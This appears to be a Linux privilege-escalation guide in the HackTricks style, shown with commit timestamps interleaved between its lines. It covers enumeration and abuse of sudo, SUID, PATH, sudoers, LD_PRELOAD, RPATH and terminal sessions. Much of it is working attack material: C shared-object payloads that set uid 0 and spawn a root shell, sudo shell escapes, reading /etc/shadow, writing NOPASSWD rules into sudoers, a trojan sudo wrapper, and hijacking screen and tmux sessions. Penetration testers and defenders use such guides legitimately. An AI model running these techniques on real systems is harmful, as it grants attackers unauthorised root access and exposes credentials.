2022-01-16 17:15:05 +00:00
{% content-ref url="docker-security/" %}
[docker-security](docker-security/)
2022-01-16 17:15:05 +00:00
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
## Containerd (ctr) privilege escalation
If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:
2021-10-10 21:09:04 +00:00
{% content-ref url="containerd-ctr-privilege-escalation.md" %}
[containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
## **RunC** privilege escalation
If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**:
2021-10-10 21:09:04 +00:00
{% content-ref url="runc-privilege-escalation.md" %}
[runc-privilege-escalation.md](runc-privilege-escalation.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
## **D-Bus**
2024-02-07 04:06:18 +00:00
D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication.
The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex.
2024-02-07 04:06:18 +00:00
D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions.
2024-02-07 04:06:18 +00:00
An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`.
2024-02-07 04:06:18 +00:00
Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies.
2024-02-07 04:06:18 +00:00
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
```
2020-08-07 00:26:17 +00:00
**Learn how to enumerate and exploit a D-Bus communication here:**
2021-10-10 21:09:04 +00:00
{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %}
[d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md)
{% endcontent-ref %}
2020-08-07 00:26:17 +00:00
2022-05-01 13:25:53 +00:00
## **Network**
2020-08-22 09:45:50 +00:00
It's always interesting to enumerate the network and figure out the position of the machine.
2022-05-01 16:57:45 +00:00
### Generic enumeration
```bash
2020-08-22 09:45:50 +00:00
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
2020-08-22 09:45:50 +00:00
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
2020-08-22 14:37:12 +00:00
#Interfaces
2020-08-22 09:45:50 +00:00
cat /etc/networks
(ifconfig || ip a)
2020-08-22 14:37:12 +00:00
#Neighbours
(arp -e || arp -a)
2020-08-22 09:45:50 +00:00
(route || ip n)
2020-08-22 09:45:50 +00:00
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
2020-08-22 14:37:12 +00:00
#Files used by network services
lsof -i
2020-08-20 11:59:57 +00:00
```
2022-05-01 16:57:45 +00:00
### Open ports
2022-09-20 02:56:05 +00:00
Always check network services running on the machine that you weren't able to interact with before accessing it:
```bash
2020-08-22 09:45:50 +00:00
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
2022-05-01 16:57:45 +00:00
### Sniffing
2020-08-22 09:45:50 +00:00
Check if you can sniff traffic. If you can, you could be able to grab some credentials.
2021-10-10 21:09:04 +00:00
```
2020-08-22 09:45:50 +00:00
timeout 1 tcpdump
```
2022-05-01 13:25:53 +00:00
## Users
2022-05-01 16:57:45 +00:00
### Generic Enumeration
2020-08-22 13:54:28 +00:00
Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:**
```bash
2020-08-22 13:54:28 +00:00
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
2020-08-22 13:54:28 +00:00
#Current user PGP keys
gpg --list-keys 2>/dev/null
```
2022-05-01 16:57:45 +00:00
### Big UID
2022-09-20 02:56:05 +00:00
Some Linux versions were affected by a bug that allows users with **UID > INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
2020-08-22 09:45:50 +00:00
**Exploit it** using: **`systemd-run -t /bin/bash`**
2022-05-01 16:57:45 +00:00
### Groups
2020-08-22 13:54:28 +00:00
Check if you are a **member of some group** that could grant you root privileges:
2023-01-24 14:43:15 +00:00
{% content-ref url="interesting-groups-linux-pe/" %}
[interesting-groups-linux-pe](interesting-groups-linux-pe/)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
2022-05-01 16:57:45 +00:00
### Clipboard
2021-10-10 21:09:04 +00:00
Check if anything interesting is located inside the clipboard (if possible)
2020-08-22 13:54:28 +00:00
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
```
2022-05-01 16:57:45 +00:00
### Password Policy
2020-08-22 13:54:28 +00:00
```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```
2022-05-01 16:57:45 +00:00
### Known passwords
2020-08-22 13:54:28 +00:00
If you **know any password** of the environment **try to login as each user** using the password.
2022-05-01 16:57:45 +00:00
### Su Brute
2020-08-22 13:54:28 +00:00
2022-09-20 02:56:05 +00:00
If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
2020-08-22 13:54:28 +00:00
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users.
2022-05-01 13:25:53 +00:00
## Writable PATH abuses
2022-05-01 16:57:45 +00:00
### $PATH
2021-10-10 21:09:04 +00:00
If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH.
2022-05-01 16:57:45 +00:00
### SUDO and SUID
You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
2022-09-20 02:56:05 +00:00
Some **unexpected commands allow you to read and/or write files or even execute a command.** For example:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
```
2022-05-01 16:57:45 +00:00
### NOPASSWD
2020-08-20 11:59:57 +00:00
2022-09-20 02:56:05 +00:00
Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
sudo vim -c '!sh'
```
2022-05-01 16:57:45 +00:00
### SETENV
2020-09-27 23:19:15 +00:00
This directive allows the user to **set an environment variable** while executing something:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
2022-09-20 02:56:05 +00:00
This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root:
2020-09-27 23:19:15 +00:00
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
2022-05-01 16:57:45 +00:00
### Sudo execution bypassing paths
2022-09-20 02:56:05 +00:00
**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
```
```bash
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
2022-09-20 02:56:05 +00:00
If a **wildcard** is used (\*), it is even easier:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
2022-05-01 16:57:45 +00:00
### Sudo command/SUID binary without command path
2021-10-10 21:09:04 +00:00
If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
2021-10-10 21:09:04 +00:00
This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**.
[Payload examples to execute.](payloads-to-execute.md)
2022-05-01 16:57:45 +00:00
### SUID binary with command path
If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling.
For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
Then, when you call the suid binary, this function will be executed
2022-06-18 22:09:55 +00:00
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
2024-04-06 16:25:58 +00:00
The **LD\_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library.
2024-02-07 04:06:18 +00:00
However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions:
2024-04-06 16:25:58 +00:00
* The loader disregards **LD\_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_).
* For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded.
2024-04-06 16:25:58 +00:00
Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env\_keep+=LD\_PRELOAD**. This configuration allows the **LD\_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges.
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
Defaults env_keep += LD_PRELOAD
```
Save as **/tmp/pe.c**
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
Then **compile it** using:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Finally, **escalate privileges** running
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
2022-06-18 22:09:55 +00:00
{% hint style="danger" %}
A similar privesc can be abused if the attacker controls the **LD\_LIBRARY\_PATH** env variable because he controls the path where libraries are going to be searched.
{% endhint %}
```c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
```
```bash
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
2022-09-20 02:56:05 +00:00
### SUID Binary .so injection
2024-02-07 04:06:18 +00:00
When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
2024-04-06 16:25:58 +00:00
For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation.
2024-02-07 04:06:18 +00:00
To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code:
```c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
2020-09-01 09:02:57 +00:00
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
2024-02-07 04:06:18 +00:00
This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges.
Compile the above C file into a shared object (.so) file with:
```bash
2024-02-07 04:06:18 +00:00
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
2024-02-07 04:06:18 +00:00
Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise.
2022-10-02 22:19:40 +00:00
## Shared Object Hijacking
```bash
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
```
2023-01-24 00:08:38 +00:00
If you get an error such as
2022-10-02 22:19:40 +00:00
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
that means that the library you have generated need to have a function called `a_function_name`.
2022-05-01 16:57:45 +00:00
### GTFOBins
2020-08-20 11:59:57 +00:00
[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command.
2020-08-20 11:59:57 +00:00
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
2021-10-10 21:09:04 +00:00
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
{% embed url="https://gtfobins.github.io/" %}
2020-08-20 11:59:57 +00:00
{% embed url="https://gtfoargs.github.io/" %}
2022-05-01 16:57:45 +00:00
### FallOfSudo
2020-08-21 13:38:17 +00:00
2022-10-09 11:07:21 +00:00
If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule.
2020-08-21 13:38:17 +00:00
2022-05-01 16:57:45 +00:00
### Reusing Sudo Tokens
2020-08-21 11:22:11 +00:00
2024-02-07 04:06:18 +00:00
In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**.
2020-08-21 11:22:11 +00:00
Requirements to escalate privileges:
* You already have a shell as user "_sampleuser_"
2022-09-20 02:56:05 +00:00
* "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password)
2020-08-21 11:22:11 +00:00
* `cat /proc/sys/kernel/yama/ptrace_scope` is 0
2021-10-10 21:09:04 +00:00
* `gdb` is accessible (you can be able to upload it)
2020-08-21 11:22:11 +00:00
2021-10-10 21:09:04 +00:00
(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`)
2020-08-26 10:00:51 +00:00
2021-11-04 00:33:15 +00:00
If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
2020-08-21 11:22:11 +00:00
2021-10-10 21:09:04 +00:00
* The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`):
2020-08-21 11:22:11 +00:00
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
2021-10-10 21:09:04 +00:00
* The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid**
2020-08-21 11:22:11 +00:00
```bash
bash exploit_v2.sh
/tmp/sh -p
```
2021-10-10 21:09:04 +00:00
* The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo**
2020-08-21 11:22:11 +00:00
```bash
bash exploit_v3.sh
sudo su
```
2022-05-01 16:57:45 +00:00
### /var/run/sudo/ts/\<Username>
2020-08-21 11:22:11 +00:00
2021-11-04 00:33:15 +00:00
If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) to **create a sudo token for a user and PID**.\
2022-09-20 02:56:05 +00:00
For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing:
2020-08-21 11:22:11 +00:00
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
2022-05-01 16:57:45 +00:00
### /etc/sudoers, /etc/sudoers.d
2020-08-20 11:59:57 +00:00
2022-09-20 02:56:05 +00:00
The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\
2020-08-20 11:59:57 +00:00
**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
2022-09-20 02:56:05 +00:00
If you can write you can abuse this permission
2020-08-20 11:59:57 +00:00
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```
2022-09-20 02:56:05 +00:00
Another way to abuse these permissions:
2020-08-21 11:22:11 +00:00
```bash
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
2022-05-01 16:57:45 +00:00
### DOAS
2020-08-20 11:59:57 +00:00
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
permit nopass demo as root cmd vim
```
2022-05-01 16:57:45 +00:00
### Sudo Hijacking
2021-07-21 11:07:55 +00:00
2022-09-20 02:56:05 +00:00
If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash\_profile) so when the user executes sudo, your sudo executable is executed.
2021-07-21 11:07:55 +00:00
2021-11-04 00:33:15 +00:00
Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
2021-07-21 11:07:55 +00:00
Or running something like:
```bash
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo export PATH=/tmp:$PATH >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
```
2022-05-01 13:25:53 +00:00
## Shared Library
2020-08-20 11:59:57 +00:00
2022-05-01 16:57:45 +00:00
### ld.so
2020-08-20 11:59:57 +00:00
2022-09-20 02:56:05 +00:00
The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf`
2020-08-20 11:59:57 +00:00
2022-09-20 02:56:05 +00:00
That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **points to other folders** where **libraries** are going to be **searched** for. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **This means that the system will search for libraries inside `/usr/local/lib`**.
2020-08-20 11:59:57 +00:00
2022-09-20 02:56:05 +00:00
If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\
Take a look at **how to exploit this misconfiguration** in the following page:
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="ld.so.conf-example.md" %}
[ld.so.conf-example.md](ld.so.conf-example.md)
{% endcontent-ref %}
2020-08-20 11:59:57 +00:00
2022-05-01 16:57:45 +00:00
### RPATH
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
2020-08-20 11:59:57 +00:00
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
2020-08-20 11:59:57 +00:00
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
2020-08-25 14:19:45 +00:00
```c
2020-08-20 11:59:57 +00:00
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
2022-05-01 13:25:53 +00:00
## Capabilities
2022-09-20 02:56:05 +00:00
Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\
2020-09-01 11:18:55 +00:00
Read the following page to **learn more about capabilities and how to abuse them**:
2020-08-27 18:09:40 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="linux-capabilities.md" %}
[linux-capabilities.md](linux-capabilities.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
## Directory permissions
2021-07-16 23:34:00 +00:00
2022-09-20 02:56:05 +00:00
In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\
The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**.
2021-07-16 23:34:00 +00:00
2022-05-01 13:25:53 +00:00
## ACLs
2020-08-22 14:37:12 +00:00
2024-02-07 04:06:18 +00:00
Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
2020-08-24 15:33:28 +00:00
**Give** user "kali" read and write permissions over a file:
2020-08-22 14:37:12 +00:00
2020-08-24 15:33:28 +00:00
```bash
setfacl -m u:kali:rw file.txt
2022-09-20 02:56:05 +00:00
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
2021-10-10 21:09:04 +00:00
setfacl -b file.txt #Remove the ACL of the file
2020-08-24 15:33:28 +00:00
```
**Get** files with specific ACLs from the system:
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
2020-08-22 14:37:12 +00:00
2022-05-01 13:25:53 +00:00
## Open shell sessions
2021-10-10 21:09:04 +00:00
In **old versions** you may **hijack** some **shell** session of a different user (**root**).\
2022-09-20 02:56:05 +00:00
In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**.
2022-05-01 16:57:45 +00:00
### screen sessions hijacking
**List screen sessions**
```bash
screen -ls
2023-06-08 05:15:47 +00:00
screen -ls <username>/ # Show another user' screen sessions
```
2024-05-05 17:56:05 +00:00
![](<../../.gitbook/assets/image (141).png>)
**Attach to a session**
```bash
2022-09-20 02:56:05 +00:00
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
2023-06-08 05:15:47 +00:00
screen -x [user]/[session id]
```
2022-05-01 13:25:53 +00:00
## tmux sessions hijacking
2020-08-26 21:40:44 +00:00
2022-09-20 02:56:05 +00:00
This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user.
**List tmux sessions**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
```
2024-05-05 17:56:05 +00:00
![](<../../.gitbook/assets/image (837).png>)
**Attach to a session**
```bash
tmux attach -t myname #If you write something in this session it will appears in the other opened one
2022-09-20 02:56:05 +00:00
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
2022-10-02 22:19:40 +00:00
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
2022-09-20 02:56:05 +00:00
Check **Valentine box from HTB** for an example.
2020-08-26 21:42:06 +00:00
2022-05-01 13:25:53 +00:00
## SSH
2022-05-01 16:57:45 +00:00
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
2022-09-20 02:56:05 +00:00
All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\
This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
2022-05-01 16:57:45 +00:00
### SSH Interesting configuration values
* **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`.
* **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`.
* **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`.
2022-05-01 13:25:53 +00:00
### PermitRootLogin
Specifies whether root can log in using ssh, default is `no`. Possible values:
2022-09-20 02:56:05 +00:00
* `yes`: root can login using password and private key
* `without-password` or `prohibit-password`: root can only login with a private key
* `forced-commands-only`: Root can login only using private key and if the commands options are specified
* `no` : no
2022-05-01 13:25:53 +00:00
### AuthorizedKeysFile
2022-09-20 02:56:05 +00:00
Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example:
```bash
2020-09-01 09:02:57 +00:00
AuthorizedKeysFile .ssh/authorized_keys access
```
2022-04-05 22:24:52 +00:00
That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access`
2022-05-01 13:25:53 +00:00
### ForwardAgent/AllowAgentForwarding
2021-10-10 21:09:04 +00:00
SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**.
You need to set this option in `$HOME/.ssh.config` like this:
2021-10-10 21:09:04 +00:00
```
Host example.com
ForwardAgent yes
```
2022-09-20 02:56:05 +00:00
